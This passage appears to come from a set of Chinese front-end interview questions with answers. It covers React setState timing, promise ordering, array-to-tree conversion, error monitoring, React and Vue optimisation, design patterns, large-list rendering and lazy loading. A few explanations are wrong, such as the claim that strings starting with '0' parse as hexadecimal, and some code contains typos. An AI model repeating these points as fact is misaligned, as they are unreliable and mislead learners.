}
return (
<button onClick={clickHandler}>点击 {value}</button>
)
}
连环问:setState是宏任务还是微任务
- setState本质是同步的
setState
是同步的,不过让react
做成异步更新的样子而已- 如果
setState
是微任务,就不应该在promise.then
微任务之前打印出来(promise then
微任务先注册)
- 如果
- 因为要考虑性能,多次
state
修改,只进行一次DOM
渲染 - 日常所说的“异步”是不严谨的,但沟通成本低
- 总结
setState
是同步执行,state
都是同步更新(只是我们日常把setState
当异步来处理)- 在微任务
promise.then
之前,state
已经计算完了 - 同步,不是微任务或宏任务
import React from 'react'
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
clickHandler = () => {
// react事件中 setState异步执行
console.log('--- start ---')
Promise.resolve().then(() => console.log('promise then') /* callback */)
// “异步”
this.setState(
{ val: this.state.val + 1 },
() => { console.log('state callback...', this.state) } // callback
)
console.log('--- end ---')
// 结果:
// start
// end
// state callback {val:1}
// promise then
// 疑问?
// promise then微任务先注册的,按理应该先打印promise then再到state callback
// 因为:setState本质是同步的,不过让react做成异步更新的样子而已
// 因为要考虑性能,多次state修改,只进行一次DOM渲染
}
componentDidMount() {
setTimeout(() => {
// setTimeout中setState是同步更新
console.log('--- start ---')
Promise.resolve().then(() => console.log('promise then'))
this.setState(
{ val: this.state.val + 1 }
)
console.log('state...', this.state)
console.log('--- end ---')
})
// 结果:
// start
// state {val:1}
// end
// promise then
}
render() {
return <p id="p1" onClick={this.clickHandler}>
setState demo: {this.state.val}
</p>
}
}
# 第134题 一道让人失眠的promise then执行顺序问题
Promise.resolve().then(()=>{
console.log(0)
return Promise.resolve(4)
}).then((res)=>{
console.log(res)
}).then(()=>{
console.log(5.5)
})
Promise.resolve().then(()=>{
console.log(1)
}).then(()=>{
console.log(2)
}).then(()=>{
console.log(3)
}).then(()=>{
console.log(5)
}).then(()=>{
console.log(6)
})
答案
// 答案
0
1
2
3
4
5
5.5
6
分析
- 回顾JS知识
- 单线程,异步
- 事件循环
Event Loop
- 宏任务和微任务
- then交替执行
- 如果有多个
fulfilled
的实例,通知执行then
链式调用 then
会交替执行
- 这是编译器优化,防止一个
promise
占据太久时间
// fulfilled状态 Promise.resolve().then(() => { console.log(10) }).then(() => { console.log(20) }).then(() => { console.log(30) }).then(() => { console.log(40) }).then(() =>{ console.log(50) }) // fulfilled状态 Promise.resolve().then(() => { console.log(100) }).then(() => { console.log(200) }).then(() => { console.log(300) }).then(() => { console.log(400) }).then(() =>{ console.log(500) }) // 交替执行结果是:10 100 20 200 30 300 40 400 50 500
- 如果有多个
- then中返回新的promise实例
- 相当多出一个
promise
实例 - 也会遵循
交替执行
- 但和直接声明一个
promise
实例,结果有些差异 then
中返回新的promise
实例,会出现慢两拍
的效果- 第一拍:
promise
需要由pending
变为fulfilled
- 第二拍:
then
函数挂载到微任务队列
- 第一拍:
Promise.resolve().then(()=>{ console.log(0) // 返回新的promise实例,慢两拍,所以先下面的2、3才到这里的4 return Promise.resolve(4) // 第一拍:promise需要由pending变为fulfilled }).then((res)=>{ // 第二拍:把then后面的任务放到[微任务队列] console.log(res) }).then(()=>{ console.log(5.5) }) // 模拟慢两拍的情况 /** * Promise.resolve().then(()=>{ // 第一拍:改变状态 const p = Promise.resolve(4) Promise.resolve().then(()=>{ // 第二拍:把then函数挂载上 p.then(res=>console.log(res)) }) }) */ Promise.resolve().then(()=>{ console.log(1) }).then(()=>{ console.log(2) }).then(()=>{ console.log(3) }).then(()=>{ console.log(5) // 执行5 交替执行-在返回第一个Promise.resolve()看有没有then,执行5.5 最后在交替执行下面的6 }).then(()=>{ console.log(6) }) // 结果 0 1 2 3 4 5 5.5 6
- 相当多出一个
# 第133题 把一个数组转换为树
const arr = [
{id:1, name: '部门A', parentId: 0},
{id:2, name: '部门B', parentId: 1},
{id:3, name: '部门C', parentId: 1},
{id:4, name: '部门D', parentId: 2},
{id:5, name: '部门E', parentId: 2},
{id:6, name: '部门F', parentId: 3},
]
树节点
interface ITreeNode {
id:number
name: string
children?: ITreeNode[] // 子节点
}
思路
- 遍历数组
- 每个元素生成
TreeNode
- 找到
parentNode
,并加入它的children
- 如何找到
parentNode
- 遍历数组去查找太慢
- 可用一个
Map
来维护关系,便于查找
- 如何找到
/**
* @description array to tree
*/
// 数据结构
interface ITreeNode {
id: number
name: string
children?: ITreeNode[]
}
function arr2tree(arr) {
// 用于 id 和 treeNode 的映射
const idToTreeNode = new Map()
let root = null // 返回一棵树 tree rootNode
arr.forEach(item => {
const { id, name, parentId } = item
// 定义 tree node 并加入 map
const treeNode = { id, name }
idToTreeNode.set(id, treeNode)
// 找到 parentNode 并加入到它的 children
const parentNode = idToTreeNode.get(parentId)
if (parentNode) {
if (parentNode.children == null){
parentNode.children = []
}
parentNode.children.push(treeNode) // 把treeNode加入到parentNode下
}
// 找到根节点
if (parentId === 0) {
root = treeNode
}
})
return root
}
const arr = [
{ id: 1, name: '部门A', parentId: 0 }, // 0 代表顶级节点,无父节点
{ id: 2, name: '部门B', parentId: 1 },
{ id: 3, name: '部门C', parentId: 1 },
{ id: 4, name: '部门D', parentId: 2 },
{ id: 5, name: '部门E', parentId: 2 },
{ id: 6, name: '部门F', parentId: 3 },
]
const tree = arr2tree(arr)
console.info(tree)
连环问:把一个树转换为数组
- 思路
- 遍历树节点(广度优先:一层层去遍历,结果是
ABCDEF
)而深度优先是(ABDECF
) - 将树节点转为
Array Item
,push
到数组中 - 根据父子关系,找到
Array Item
的parentId
- 如何找到
parentId
- 遍历树查找太慢
- 可用一个
Map
来维护关系,便于查找
- 如何找到
- 遍历树节点(广度优先:一层层去遍历,结果是
/**
* @description tree to arr
*/
// 数据结构
interface ITreeNode {
id: number
name: string
children?: ITreeNode[]
}
function tree2arr(root) {
// Map
const nodeToParent = new Map() // 映射当前节点和父节点关系
const arr = []
// 广度优先遍历,queue
const queue = []
queue.unshift(root) // 根节点 入队
while (queue.length > 0) {
const curNode = queue.pop() // 出队
if (curNode == null) break
const { id, name, children = [] } = curNode
// 创建数组 item 并 push
const parentNode = nodeToParent.get(curNode)
const parentId = parentNode?.id || 0
const item = { id, name, parentId }
arr.push(item)
// 子节点入队
children.forEach(child => {
// 映射 parent
nodeToParent.set(child, curNode)
// 入队
queue.unshift(child)
})
}
return arr
}
const obj = {
id: 1,
name: '部门A',
children: [
{
id: 2,
name: '部门B',
children: [
{ id: 4, name: '部门D' },
{ id: 5, name: '部门E' }
]
},
{
id: 3,
name: '部门C',
children: [
{ id: 6, name: '部门F' }
]
}
]
}
const arr = tree2arr(obj)
console.info(arr)
# 第132题 ["1", "2", "3"].map(parseInt) 答案是多少
parseInt(str, radix)
- 解析一个字符串,并返回
10
进制整数 - 第一个参数
str
,即要解析的字符串 - 第二个参数
radix
,基数(进制),范围2-36
,以radix
进制的规则去解析str
字符串。不合法导致解析失败 - 如果没有传
radix
- 当
str
以0
开头,则按照16
进制处理 - 当
str
以0
开头,则按照8
进制处理(但是ES5
取消了,可能还有一些老的浏览器使用)会按照10
进制处理 - 其他情况按照
10
进制处理
- 当
eslint
会建议parseInt
写第二个参数(是因为0
开始的那个8
进制写法不确定(如078
),会按照10
进制处理)
答案
// 拆解
const arr = ["1", "2", "3"]
const res = arr.map((item,index,array)=>{
// item: '1', index: 0
// item: '2', index: 1
// item: '3', index: 2
return parseInt(item, index)
// parseInt('1', 0) // 0相当没有传,按照10进制处理返回1 等价于parseInt('1')
// parseInt('2', 1) // NaN 1不符合redix 2-36 的一个范围
// parseInt('3', 2) // 2进制没有3 返回NaN
})
// 答案 [1, NaN, NaN]
# 第131题 工作中遇到过哪些项目难点,是如何解决的
遇到问题要注意积累
- 每个人都会遇到问题,总有几个问题让你头疼
- 日常要注意积累,解决了问题要自己写文章复盘
如果之前没有积累
- 回顾一下半年之内遇到的难题
- 思考当时解决方案,以及解决之后的效果
- 写一篇文章记录一下,答案就有了
答案模板
- 描述问题:背景 + 现象 + 造成的影响
- 问题如何被解决:分析 + 解决
- 自己的成长:学到了什么 + 以后如何避免
一个示例
- 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
- 解决:将老版本的HTML反解析成JSON格式即可解决
- 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品
# 第130题 如果一个H5很慢,如何排查性能问题
- 通过前端性能指标分析
- 通过
Performance
、lighthouse
分析 - 持续跟进,持续优化
前端性能指标
FP(First Paint)
:首次绘制,即首次绘制任何内容到屏幕上FCP(First Content Paint)
:首次内容绘制,即首次绘制非空白内容到屏幕上FMP(First Meaning Paint)
:首次有意义绘制,即首次绘制有意义的内容到屏幕上-已弃用,改用LCP
FMP
业务指标,没有统一标准
LCP(Largest Contentful Paint)
:最大内容绘制,即最大的内容绘制到屏幕上TTI(Time to Interactive)
:可交互时间,即页面加载完成,可以进行交互的时间TBT(Total Blocking Time)
:总阻塞时间,即页面加载过程中,主线程被占用的时间CLS(Cumulative Layout Shift)
:累计布局偏移,即页面加载过程中,元素位置发生变化的程度FCP
、LCP
、TTI
、TBT
、CLS
都是web-vitals
库提供的指标DCL(DOM Content Loaded)
:DOM
加载完成,即页面DOM
结构加载完成的时间L(Load)
:页面完全加载完成的时间
通过Chrome Performance分析
打开浏览器无痕模式,点击
Performance > ScreenShot
如果加载很快就会很快就到达FP
,在分析FCP、LCP、DCL、L
看渲染时间
国内访问GitHub可以看到加载到FP
非常慢,但是渲染很快
network > show overview
查看每个资源的加载时间,或者从waterfall
查看
使用lighthouse分析
# 通过node使用
npm i lighthouse -g
# 需要稍等一会就分析完毕输出报告
lighthouse https://baidu.com --view --preset=desktop
通过工具就可以识别到问题
- 加载慢?
- 优化服务器硬件配置,使用
CDN
- 路由懒加载,大组件异步加载--减少主包体积
- 优化
HTTP
缓存策略
- 优化服务器硬件配置,使用
- 渲染慢
- 优化服务端接口(如
Ajax
获取数据慢) - 继续分析,优化前端组件内部逻辑(参考
vue
、react
优化) - 服务端渲染
SSR
- 优化服务端接口(如
性能优化是一个循序渐进的过程,不像bug一次解决。持续跟进统计结果,再逐步分析性能瓶颈,持续优化。可使用第三方统计服务,如百度统计
# 第129题 如何统一监听React组件报错
- ErrorBoundary组件
- 在
react16
版本之后,增加了ErrorBoundary
组件 - 监听所有
下级组件
报错,可降级展示UI
- 只监听组件渲染时报错,不监听
DOM
事件错误、异步错误ErrorBoundary
没有办法监听到点击按钮时候的在click
的时候报错- 只能监听组件从一开始渲染到渲染成功这段时间报错,渲染成功后在怎么操作产生的错误就不管了
- 可用
try catch
或者window.onerror
(二选一)
- 只在
production
环境生效(需要打包之后查看效果),dev
会直接抛出错误
- 在
- 总结
ErrorBoundary
监听组件渲染报错- 事件报错使用
try catch
或window.onerror
- 异步报错使用
window.onerror
// ErrorBoundary.js
import React from 'react'
class ErrorBoundary extends React.Component {
constructor(props) {
super(props)
this.state = {
error: null // 存储当前的报错信息
}
}
static getDerivedStateFromError(error) {
// 更新 state 使下一次渲染能够显示降级后的 UI
console.info('getDerivedStateFromError...', error)
return { error } // return的信息会等于this.state的信息
}
componentDidCatch(error, errorInfo) {
// 统计上报错误信息
console.info('componentDidCatch...', error, errorInfo)
}
render() {
if (this.state.error) {
// 提示错误
return <h1>报错了</h1>
}
// 没有错误,就渲染子组件
return this.props.children
}
}
// index.js 中使用
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App';
import ErrorBoundary from './ErrorBoundary'
ReactDOM.render(
<React.StrictMode>
<ErrorBoundary>
<App />
</ErrorBoundary>
</React.StrictMode>,
document.getElementById('root')
);
# 第128题 如何统一监听Vue组件报错
- window.onerror
- 全局监听所有
JS
错误,包括异步错误 - 但是它是
JS
级别的,识别不了Vue
组件信息,Vue
内部的错误还是用Vue
来监听 - 捕捉一些
Vue
监听不到的错误
- 全局监听所有
- errorCaptured生命周期
- 监听所有下级组件的错误
- 返回
false
会阻止向上传播到window.onerror
- errorHandler配置
Vue
全局错误监听,所有组件错误都会汇总到这里- 但
errorCaptured
返回false
,不会传播到这里 window.onerror
和errorHandler
互斥,window.onerror
不会在被触发,这里都是全局错误监听了
- 异步错误
- 异步回调里的错误,
errorHandler
监听不到 - 需要使用
window.onerror
- 异步回调里的错误,
- 总结
- 实际工作中,三者结合使用
promise
(promise
没有被catch
的报错,使用onunhandledrejection
监听)和setTimeout
异步,vue
里面监听不了
window.addEventListener("unhandledrejection", event => { // 捕获 Promise 没有 catch 的错误 console.info('unhandledrejection----', event) }) Promise.reject('错误信息') // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
errorCaptured
监听一些重要的、有风险组件的错误window.onerror
和errorCaptured
候补全局监听
// main.js
const app = createApp(App)
// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
mounted() {
/**
* msg:错误的信息
* source:哪个文件
* line:行
* column:列
* error:错误的对象
*/
// 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
window.onerror = function (msg, source, line, column, error) {
console.info('window.onerror----', msg, source, line, column, error)
}
// 用addEventListener跟window.onerror效果一样,参数不一样
// window.addEventListener('error', event => {
// console.info('window error', event)
// })
},
errorCaptured: (errInfo, vm, info) => {
console.info('errorCaptured----', errInfo, vm, info)
// 返回false会阻止向上传播到window.onerror
// 返回false会阻止传播到errorHandler
// return false
},
}
// ErrorDemo.vue
export default {
name: 'ErrorDemo',
data() {
return {
num: 100
}
},
methods: {
clickHandler() {
try {
this.num() // 报错
} catch (ex) {
console.error('catch.....', ex)
// try...catch 捕获的 error ,无法被 window.onerror 监听到
}
this.num() // 报错
}
},
mounted() {
// 被errorCaptured捕获
// throw new Error('mounted 报错')
// 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
// setTimeout(() => {
// throw new Error('setTimeout 报错')
// }, 1000)
},
}
# 第127题 在实际工作中,你对React做过哪些优化
- 修改CSS模拟v-show
// 原始写法 {!flag && <MyComonent style={{display:'none'}} />} {flag && <MyComonent />} // 模拟v-show {<MyComonent style={{display:flag ? 'block' : 'none'}} />}
- 循环使用key
key
不要用index
- 使用Flagment或<></>空标签包裹减少多个层级组件的嵌套
- jsx中不要定义函数:
JSX
会被频繁执行的// bad // react中的jsx被频繁执行(state更改)应该避免函数被多次新建 <button onClick={()=>{}}>点击</button> // goods function useButton() { const handleClick = ()=>{} return <button onClick={handleClick}>点击</button> }
- 使用shouldComponentUpdate
- 判断组件是否需要更新
- 或者使用
React.PureComponent
比较props
第一层属性 - 函数组件使用
React.memo(comp, fn)
包裹function fn(prevProps,nextProps) {// 自己实现对比,像shouldComponentUpdate}
- Hooks缓存数据和函数
useCallback
: 缓存回调函数,避免传入的回调每次都是新的函数实例而导致依赖组件重新渲染,具有性能优化的效果useMemo
: 用于缓存传入的props
,避免依赖的组件每次都重新渲染
- 使用异步组件
import React,{lazy,Suspense} from 'react' const OtherComp = lazy(/**webpackChunkName:'OtherComp'**/ ()=>import('./otherComp')) function MyComp(){ return ( <Suspense fallback={<div>loading...</div>}> <OtherComp /> </Suspense> ) }
- 路由懒加载
import React,{lazy,Suspense} from 'react' import {BrowserRouter as Router,Route, Switch} from 'react-router-dom' const Home = lazy(/**webpackChunkName:'h=Home'**/()=>import('./Home')) const List = lazy(/**webpackChunkName:'List'**/()=>import('./List')) const App = ()=>( <Router> <Suspense fallback={<div>loading...</div>}> <Switch> <Route exact path='/' component={Home} /> <Route exact path='/list' component={List} /> </Switch> </Suspense> </Router> )
- 使用SSR:
Next.js
连环问:你在使用React时遇到过哪些坑
自定义组件的名称首字母要大写
// 原生html组件 <input /> // 自定义组件 <Input />
JS关键字的冲突
// for改成htmlFor,class改成className <label htmlFor="input-name" className="label"> 用户名 <input id="username" /> </label>
JSX数据类型
// correct <Demo flag={true} /> // error <Demo flag="true" />
setState不会马上获取最新的结果
- 如需要实时获取结果,在回调函数中获取
setState({count:this.state.count + 1},()=>console.log(this.state.count)})
setState
在合成事件和生命周期钩子中,是异步更新的- 在原生事件和
setTimeout
中,setState
是同步的,可以马上获取更新后的值; - 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而
setTimeout
是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步;
// setState原理模拟 let isBatchingUpdate = true; let queue = []; let state = {number:0}; function setState(newSate){ //state={...state,...newSate} // setState异步更新 if(isBatchingUpdate){ queue.push(newSate); }else{ // setState同步更新 state={...state,...newSate} } } // react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true // 模拟react中事件点击 function handleClick(){ isBatchingUpdate=true; // 批量更新标志 /**我们自己逻辑开始 */ setState({number:state.number+1}); setState({number:state.number+1}); console.log(state); // 0 setState({number:state.number+1}); console.log(state); // 0 /**我们自己逻辑结束 */ state= queue.reduce((newState,action)=>{ return {...newState,...action} },state); } handleClick(); console.log(state); // 1
// setState笔试题考察 下面这道题输出什么 class Example extends React.Component { constructor() { super() this.state = { val: 0 } } // componentDidMount中isBatchingUpdate=true setState批量更新 componentDidMount() { this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 console.log(this.state.val) // 第 1 次 log this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 console.log(this.state.val) // 第 2 次 log setTimeout(() => { // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值 this.setState({ val: this.state.val + 1 }) // 同步更新 console.log(this.state.val) // 第 3 次 log this.setState({ val: this.state.val + 1 }) // 同步更新 console.log(this.state.val) // 第 4 次 log }, 0) } render() { return null } } // 答案:0, 0, 2, 3
- 如需要实时获取结果,在回调函数中获取
# 第126题 在实际工作中,你对Vue做过哪些优化
- v-if和v-show
v-if
彻底销毁组件v-show
使用dispaly
切换none
- 实际工作中大部分情况下使用
v-if
就好,不要过渡优化
- v-for使用key
key
不要使用index
- 使用computed缓存
- keep-alive缓存组件
- 频繁切换的组件
tabs
- 不要乱用,缓存会占用更多的内存
- 频繁切换的组件
- 异步组件
- 针对体积较大的组件,如编辑器、复杂表格、复杂表单
- 拆包,需要时异步加载,不需要时不加载
- 减少主包体积,首页会加载更快
- 演示
<!-- index.vue --> <template> <Child></Child> </template> <script> import { defineAsyncComponent } from 'vue' export default { name: 'AsyncComponent', components: { // child体积大 异步加载才有意义 // defineAsyncComponent vue3的写法 Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue')) } } </> <!-- child.vue --> <template> <p>async component child</p> </template> <script> export default { name: 'Child', } </script>
- 路由懒加载
- 项目比较大,拆分路由,保证首页先加载
- 演示
const routes = [ { path: '/', name: 'Home', component: Home // 直接加载 }, { path: '/about', name: 'About', // route level code-splitting // this generates a separate chunk (about.[hash].js) for this route // which is lazy-loaded when the route is visited. // 路由懒加载 component: () => import(/* webpackChunkName: "about" */ '../views/About.vue') } ]
- 服务端SSR
- 可使用
Nuxt.js
- 按需优化,使用
SSR
成本比较高
- 可使用
- 实际工作中你遇到积累的业务的优化经验也可以说
连环问:你在使用Vue过程中遇到过哪些坑
- 内存泄露
- 全局变量、全局事件、全局定时器没有销毁
- 自定义事件没有销毁
- Vue2响应式的缺陷(vue3不在有)
data
后续新增属性用Vue.set
data
删除属性用Vue.delete
Vue2
并不支持数组下标的响应式。也就是说Vue2
检测不到通过下标更改数组的值arr[index] = value
- 路由切换时scroll会重新回到顶部
- 这是
SPA
应用的通病,不仅仅是vue
- 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
- 解决方案
- 在列表页缓存翻页过的数据和
scrollTop
的值 - 当再次返回列表页时,渲染列表组件,执行
scrollTo(xx)
- 终极方案:
MPA
(多页面) +App WebView
(可以打开多个页面不会销毁之前的)
- 在列表页缓存翻页过的数据和
- 这是
- 日常遇到问题记录总结,下次面试就能用到
# 第125题 前端常用的设计模式和使用场景
- 工厂模式
- 用一个工厂函数来创建实例,使用的时候隐藏
new
,可在工厂函数中使用new
(function factory(a,b,c) {return new Foo()}
) - 如
jQuery
的$
函数:$
等于是在内部使用了new JQuery
实例(用工厂函数$
包裹了一下),可以直接使用$(div)
react
的createElement
- 用一个工厂函数来创建实例,使用的时候隐藏
- 单例模式
- 全局唯一的实例(无法生成第二个)
- 如
Vuex
Redux
的store
- 如全局唯一的
dialog
、modal
- 演示
// 通过class实现单例构造器 class Singleton { private static instance private contructor() {} public static getInstance() { if(!this.instance) { this.instance = new Singleton() } return this.instance }, fn1() {} fn2() {} } // 通过闭包实现单例构造器 const Singleton = (function () { // 隐藏Class的构造函数,避免多次实例化 function FooService() {} // 未初始化的单例对象 let fooService; return { // 创建/获取单例对象的函数 // 通过暴露一个 getInstance() 方法来创建/获取唯一实例 getInstance: function () { if (!fooService) { fooService = new FooService(); } return fooService; } } })(); // 使用 const s1 = Singleton.getInstance() const s2 = Singleton.getInstance() // s1 === s2 // 都是同一个实例
- 代理模式
- 使用者不能直接访问对象,而是访问一个代理层
- 在代理层可以监听
get
set
做很多事 - 如
ES6 Proxy
实现Vue3
响应式
var obj = new Proxy({},{ get:function(target,key,receiver) { return Refect.get(target,key,receiver) }, set:function(target,key,value,receiver) { return Refect.set(target,key,value,receiver) } })
- 观察者模式
- 观察者模式(基于发布订阅模式)有观察者,也有被观察者
- 观察者需要放到被观察者中,被观察者的状态变化需要通知观察者 我变化了,内部也是基于发布订阅模式,收集观察者,状态变化后要主动通知观察者
class Subject { // 被观察者 学生 constructor(name) { this.state = 'happy' this.observers = []; // 存储所有的观察者 } // 收集所有的观察者 attach(o){ // Subject. prototype. attch this.observers.push(o) } // 更新被观察者 状态的方法 setState(newState) { this.state = newState; // 更新状态 // this 指被观察者 学生 this.observers.forEach(o => o.update(this)) // 通知观察者 更新它们的状态 } } class Observer{ // 观察者 父母和老师 constructor(name) { this.name = name } update(student) { console.log('当前' + this.name + '被通知了', '当前学生的状态是' + student.state) } } let student = new Subject('学生'); let parent = new Observer('父母'); let teacher = new Observer('老师'); // 被观察者存储观察者的前提,需要先接纳观察者 student.attach(parent); student.attach(teacher); student.setState('被欺负了');
- 发布订阅模式
- 发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。
- 主要的作用(优点):
- 广泛应用于异步编程中(替代了传递回调函数)
- 对象之间松散耦合的编写代码
- 缺点:
- 创建订阅者本身要消耗一定的时间和内存
- 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护
- 发布订阅者模式和观察者模式的区别?
- 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
- 观察者模式是由具体目标调度,比如当事件触发,
Subject
就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的(互相认识的)。 - 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在(
publisher
和subscriber
是不认识的,中间有个Event Channel
隔起来了) - 总结一下:
- 观察者模式:
Subject
和Observer
直接绑定,没有中间媒介。如addEventListener
直接绑定事件 - 发布订阅模式:
publisher
和subscriber
互相不认识,需要有中间媒介Event Channel
。如EventBus
自定义事件
- 观察者模式:
- 实现的思路:
- 创建一个对象(缓存列表)
on
方法用来把回调函数fn
都加到缓存列表中emit
根据key
值去执行对应缓存列表中的函数off
方法可以根据key
值取消订阅
class EventEmiter { constructor() { // 事件对象,存放订阅的名字和事件 this._events = {} } // 订阅事件的方法 on(eventName,callback) { if(!this._events) { this._events = {} } // 合并之前订阅的cb this._events[eventName] = [...(this._events[eventName] || []),callback] } // 触发事件的方法 emit(eventName, ...args) { if(!this._events[eventName]) { return } // 遍历执行所有订阅的事件 this._events[eventName].forEach(fn=>fn(...args)) } off(eventName,cb) { if(!this._events[eventName]) { return } // 删除订阅的事件 this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb) } // 绑定一次 触发后将绑定的移除掉 再次触发掉 once(eventName,callback) { const one = (...args)=>{ // 等callback执行完毕在删除 callback(args) this.off(eventName,one) } one.l = callback // 自定义属性 this.on(eventName,one) } } // 测试用例 let event = new EventEmiter() let login1 = function(...args) { console.log('login success1', args) } let login2 = function(...args) { console.log('login success2', args) } // event.on('login',login1) event.once('login',login2) event.off('login',login1) // 解除订阅 event.emit('login', 1,2,3,4,5) event.emit('login', 6,7,8,9) event.emit('login', 10,11,12)
- 装饰器模式
- 原功能不变,增加一些新功能(
AOP
面向切面编程) ES
和TS
的Decorator
语法就是装饰器模式
- 原功能不变,增加一些新功能(
经典设计模式有
23
个,这是基于后端写的,前端不是都常用
# 第124题 后端一次性返回十万条数据,你该如何渲染
- 设计不合理
- 后端返回十万条数据,本身技术方案设计就不合理(一般情况都是分页返回,返回十万条浏览器渲染是一个问题,十万条数据加载也需要一个过程)
- 后端的问题,要用后端的思维去解决-中间层
- 浏览器能否处理十万条数据?
- 渲染到
DOM
上会非常卡顿
- 渲染到
- 方案1:自定义中间层
- 自定义
nodejs
中间层,获取并拆分这十万条数据 - 前端对接
nodejs
中间层,而不是服务端 - 成本比较高
- 自定义
- 方案2:虚拟列表
- 只创建可视区的
DOM
(比如前十条数据),其他区域不显示,根据数据条数计算每条数据的高度,用div
撑起高度 - 随着浏览器的滚动,创建和销毁
DOM
- 虚拟列表实现起来非常复杂,工作中可使用第三方库(
vue-virtual-scroll-list
、react-virtualiszed
) - 虚拟列表只是无奈的选择,实现复杂效果而效果不一定好(低配手机)
- 只创建可视区的
分页加载示例
前端通过与后端约定的分页接口,逐页请求数据并渲染。通过控制每页的数据量,可以在不影响性能的情况下展示大量数据。
// 前端代码
const pageSize = 100; // 每页数据量
let currentPage = 1; // 当前页数
function fetchData(page) {
// 发送请求到后端,获取指定页数的数据
fetch(`/api/data?page=${page}&pageSize=${pageSize}`)
.then(response => response.json())
.then(data => {
// 渲染数据到页面
renderData(data);
});
}
function renderData(data) {
// 将数据渲染到页面中
// ...
}
// 初始化加载第一页数据
fetchData(currentPage);
// 后端代码(示例使用 Express 框架)
app.get('/api/data', (req, res) => {
const page = req.query.page;
const pageSize = req.query.pageSize;
// 从数据库或其他数据源获取指定页数的数据
const data = getDataFromDatabase(page, pageSize);
res.json(data);
});
虚拟列表滚动示例
虚拟列表是一种优化技术,它只渲染当前可见区域内的数据,而不是一次性渲染全部数据。这样可以提高页面的加载速度和性能。
// 前端代码
const container = document.getElementById('data-container');
const itemHeight = 40; // 每项数据的高度
const visibleItems = Math.ceil(container.offsetHeight / itemHeight); // 可见区域内显示的项数
const totalItems = 100000; // 总数据量
function renderData(startIndex) {
const endIndex = Math.min(startIndex + visibleItems, totalItems);
for (let i = startIndex; i < endIndex; i++) {
const item = createItem(i);
container.appendChild(item);
}
}
function createItem(index) {
const item = document.createElement('div');
item.innerText = `Item ${index + 1}`;
item.style.height = `${itemHeight}px`;
return item;
}
// 监听滚动事件,动态渲染数据
container.addEventListener('scroll', () => {
const scrollTop = container.scrollTop;
const startIndex = Math.floor(scrollTop / itemHeight);
// 清空容器中的旧数据
container.innerHTML = '';
// 渲染当前可见区域内的数据
renderData(startIndex);
});
// 初始渲染首屏数据
renderData(0);
在上述示例中,通过监听滚动事件,根据滚动位置动态计算当前可见区域内的数据项的索引,并根据索引来渲染数据。随着用户滚动页面,会根据滚动位置不断重新渲染可见区域内的数据,而不会一次性渲染全部数据。
# 第123题 H5页面如何进行首屏优化
- 路由懒加载
- 适用于单页面应用
- 路由拆分,优先保证首页加载
- 服务端渲染SSR
SSR
渲染页面过程简单,性能好- 纯
H5
页面,SSR
是性能优化的终极方案,但对服务器成本也高
- 分页
- 针对列表页,默认只展示第一页内容
- 上划加载更多
- 图片懒加载lazyLoad
- 针对详情页,默认只展示文本内容,然后触发图片懒加载
- 注意:提前设置图片尺寸,尽量只重绘不重排
- Hybrid
- 提前将
HTML JS CSS
下载到App
内部,省去我们从网上下载静态资源的时间 - 在
App webview
中使用file://
协议加载页面文件 - 再用
Ajax
获取内容并展示
- 提前将
- 性能优化要配合分析、统计、评分等,做了事情要有结果有说服力
- 性能优化也要配合体验,如骨架屏、
loading
动画等
图片懒加载演示
<head>
<style>
.item-container {
border-top: 1px solid #ccc;
margin-bottom: 30px;
}
.item-container img {
width: 100%;
border: 1px solid #eee;
border-radius: 10px;
overflow: hidden;
}
</style>
</head>
<body>
<h1>img lazy load</h1>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal2.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal4.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal5.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal6.webp"/>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
<script>
function mapImagesAndTryLoad() {
const images = document.querySelectorAll('img[data-src]')
if (images.length === 0) return
images.forEach(img => {
const rect = img.getBoundingClientRect()
if (rect.top < window.innerHeight) {
// 漏出来
// console.info('loading img', img.dataset.src)
img.src = img.dataset.src
img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
}
})
}
window.addEventListener('scroll', _.throttle(() => {
mapImagesAndTryLoad()
}, 100))
mapImagesAndTryLoad()
</script>
</body>
# 第122题 如何实现网页多标签tab通讯
- 通过
websocket
- 无跨域限制
- 需要服务端支持,成本高
